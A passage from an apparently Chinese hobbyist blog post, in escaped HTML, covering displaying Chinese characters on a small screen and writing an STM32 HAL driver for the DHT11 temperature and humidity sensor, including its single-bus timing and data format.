number\"\u003e0xC4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xA8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x90\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x88\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x92\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x86\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;康\u0026#34;*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;师\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0B\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x49\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x09\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;师\u0026#34;*/\u003c/span\u003e\u003cspan class=\"token string\"\u003e\u0026#34;傅\u0026#34;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x50\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x48\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x0F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x17\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x34\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x37\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x54\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x97\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFC\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x14\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x44\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x1F\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0xFE\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x12\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x08\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x11\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x10\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*\u0026#34;傅\u0026#34;*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示汉字使用 \u003ccode\u003eGUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode)\u003c/code\u003e ,使用实例如 \u003ccode\u003eGUI_ShowCHinese(40,2,16,\u0026#34;康师傅\u0026#34;,1);\u003c/code\u003e\u003c/p\u003e\u003cp\u003e该函数说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/***************************************************************************** * @name :void GUI_ShowCHinese(uint8_t x,uint8_t y,uint8_t hsize,uint8_t *str,uint8_t mode) * @date :2018-08-27 * @function :Display Chinese strings * @parameters :x:the bebinning x coordinate of the Chinese strings y:the bebinning y coordinate of the Chinese stringssize:the size of Chinese stringsstr:the start address of the Chinese stringsmode:0-white background and black character 1-black background and white character * @retvalue :None******************************************************************************/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e显示其他内容可以 结合\u003ccode\u003etest.c\u003c/code\u003e 中的实例与 \u003ccode\u003egui.c\u003c/code\u003e 里的函数说明学习。\u003c/p\u003e\u003cp\u003e为了分开gb2312与utf-8,我将显示中文的地方全部写在了一个文件里,我在 \u003ccode\u003emain.c\u003c/code\u003e 用到的时候直接调用。\u003c/p\u003e\u003ch3 id=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E9%A9%B1%E5%8A%A8DHT11%E6%B8%A9%E6%B9%BF%E5%BA%A6%E4%BC%A0%E6%84%9F%E5%99%A8%EF%BC%88%E5%8D%95%E6%80%BB%E7%BA%BF%E5%8D%8F%E8%AE%AE%E7%9A%84%E5%AD%A6%E4%B9%A0%EF%BC%89\" class=\"headerlink\" title=\"驱动DHT11温湿度传感器(单总线协议的学习)\"\u003e\u003c/a\u003e驱动DHT11温湿度传感器(\u003cstrong\u003e单总线协议的学习\u003c/strong\u003e)\u003c/h3\u003e\u003cp\u003e)当时大二赶广和通项目的时候用的是 \u003ccode\u003eDS18B20\u003c/code\u003e 来着,是个单总线协议的温度传感器,网上找了段代码糊了一个,这次用 \u003ccode\u003eDHT11\u003c/code\u003e 学习学习单总线协议。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eDHT11 是一款湿温度一体化的数字传感器。该传感器包括一个电阻式测湿元件和一个 NTC\u003cbr/\u003e测温元件,并与一个高性能 8 位单片机相连接。通过单片机等微处理器简单的电路连接就能够\u003cbr/\u003e实时的采集本地湿度和温度。DHT11 与单片机之间能采用简单的单总线进行通信,仅仅需要一\u003cbr/\u003e个 I/O 口。传感器内部湿度和温度数据 40Bit 的数据一次性传给单片机,数据采用校验和方式\u003cbr/\u003e进行校验,有效的保证数据传输的准确性。DHT11 功耗很低,5V 电源电压下,工作平均最大\u003cbr/\u003e电流 0.5mA。DHT11 的技术参数:工作电压范围:3.3V-5.5V;工作电流 :平均 0.5mA;输出:单总线数字信号;测量范围:湿度 20\u003cdel\u003e90%RH,温度 0\u003c/del\u003e50℃;精度 :湿度±5%,温度±2℃;分辨率 :湿度 1%,温度 1℃;\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"DHT11-数据传输格式\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E6%95%B0%E6%8D%AE%E4%BC%A0%E8%BE%93%E6%A0%BC%E5%BC%8F\" class=\"headerlink\" title=\"DHT11 数据传输格式\"\u003e\u003c/a\u003eDHT11 数据传输格式\u003c/h4\u003e\u003cp\u003eDHT11 数字湿温度传感器采用单总线数据格式。即,单个数据引脚端口完成输入输出双向传输。其数据包由 40Bit 组成。数据分小数部分和整数部分,一次完整的数据传输为40bit,高位先出。\u003c/p\u003e\u003cp\u003eDHT11 的数据格式为:\u003cstrong\u003e8bit 湿度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 湿度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度整数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 温度小数数据\u003c/strong\u003e + \u003cstrong\u003e8bit 校验和\u003c/strong\u003e。其中校验和数据为前四个字节相加。\u003cbr/\u003e传感器数据输出的是未编码的二进制数据。数据(湿度、温度、整数、小数)之间应该分开处理。例如,某次从 DHT11 读到的数据如下表所示:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003ebyte4\u003c/th\u003e\u003cth\u003ebyte3\u003c/th\u003e\u003cth\u003ebyte2\u003c/th\u003e\u003cth\u003ebyte1\u003c/th\u003e\u003cth\u003ebyte0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e0010 1101\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0001 1100\u003c/td\u003e\u003ctd\u003e0000 0000\u003c/td\u003e\u003ctd\u003e0100 1001\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e湿度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e湿度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e整数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e温度 \u003cstrong\u003e小数\u003c/strong\u003e 部分\u003c/td\u003e\u003ctd\u003e校验和\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e由以上数据就可得到湿度和温度的值,计算方法:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e湿度= byte4 . byte3=45.0 (%RH)\u003cbr/\u003e温度= byte2 . byte1=28.0 ( ℃)\u003cbr/\u003e校验= byte4+ byte3+ byte2+ byte1=73(=湿度+温度)(校验正确)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eDHT11 的数据格式是十分简单,DHT11 和 MCU 的一次通信最大为 3ms 左右,建议主机连续读取时间间隔不要小于 100ms。 下面,我们介绍一下 DHT11 的传输时序。\u003c/p\u003e\u003ch4 id=\"提前准备\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E6%8F%90%E5%89%8D%E5%87%86%E5%A4%87\" class=\"headerlink\" title=\"提前准备\"\u003e\u003c/a\u003e提前准备\u003c/h4\u003e\u003cp\u003e本次使用数据传输脚:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e// 数据传输脚 PA12\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eDHT11_DQ_OUT\u003c/span\u003e \u003cspan class=\"token expression\"\u003eGPIO_PIN_12\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输出:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_OUT\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_OUTPUT_PP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_NOPULL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eSpeed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_SPEED_FREQ_LOW\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e设置数据传输脚为输入:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e GPIO_InitTypeDef GPIO_InitStruct \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePin \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eMode \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_MODE_INPUT\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e GPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ePull \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e GPIO_PULLUP\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_GPIO_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003eGPIO_InitStruct\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"DHT11-的数据发送流程\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#DHT11-%E7%9A%84%E6%95%B0%E6%8D%AE%E5%8F%91%E9%80%81%E6%B5%81%E7%A8%8B\" class=\"headerlink\" title=\"DHT11 的数据发送流程\"\u003e\u003c/a\u003eDHT11 的数据发送流程\u003c/h4\u003e\u003cp\u003eDHT11 的数据发送流程如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-1.png\" alt=\"DHT11 的数据发送流程\"/\u003e\u003c/p\u003e\u003ch5 id=\"开始信号\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%BC%80%E5%A7%8B%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"开始信号\"\u003e\u003c/a\u003e开始信号\u003c/h5\u003e\u003cp\u003e首先主机发送 \u003cstrong\u003e开始信号\u003c/strong\u003e,即:拉低数据线,保持 t1(至少 18ms)时间,然后 \u003cstrong\u003e拉高数据线\u003c/strong\u003e t2(20~ 40us)时间,然后读取 DHT11 的响应。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-2.png\" alt=\"DHT11 开始信号\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e复位DHT11\u003c/strong\u003e :\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003evoid DHT11_Rst(void) { DHT11_IO_OUT(); //SET OUTPUT HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_RESET); delay_ms(20); //拉低至少18ms HAL_GPIO_WritePin(GPIOA, DHT11_DQ_OUT, GPIO_PIN_SET); delay_us(30); //主机拉高20~40us}\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"响应信号\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/e0ca/#%E5%93%8D%E5%BA%94%E4%BF%A1%E5%8F%B7\" class=\"headerlink\" title=\"响应信号\"\u003e\u003c/a\u003e响应信号\u003c/h5\u003e\u003cp\u003eDHT11的 \u003cstrong\u003e响应\u003c/strong\u003e :正常的话,DHT11 会 \u003cstrong\u003e拉低\u003c/strong\u003e 数据线,保持 t3(40~50us)时间,作为响应信号,然后 DHT11 \u003cstrong\u003e拉高\u003c/strong\u003e 数据线,保持 t4(40 ~50us)时间后,开始输出数据。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-3.png\" alt=\"DHT11 开始信号\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e检测DHT11的回应\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回1:未检测到DHT11的存在\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回0:存在\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_IO_IN\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//SET INPUT\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11会拉低40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token 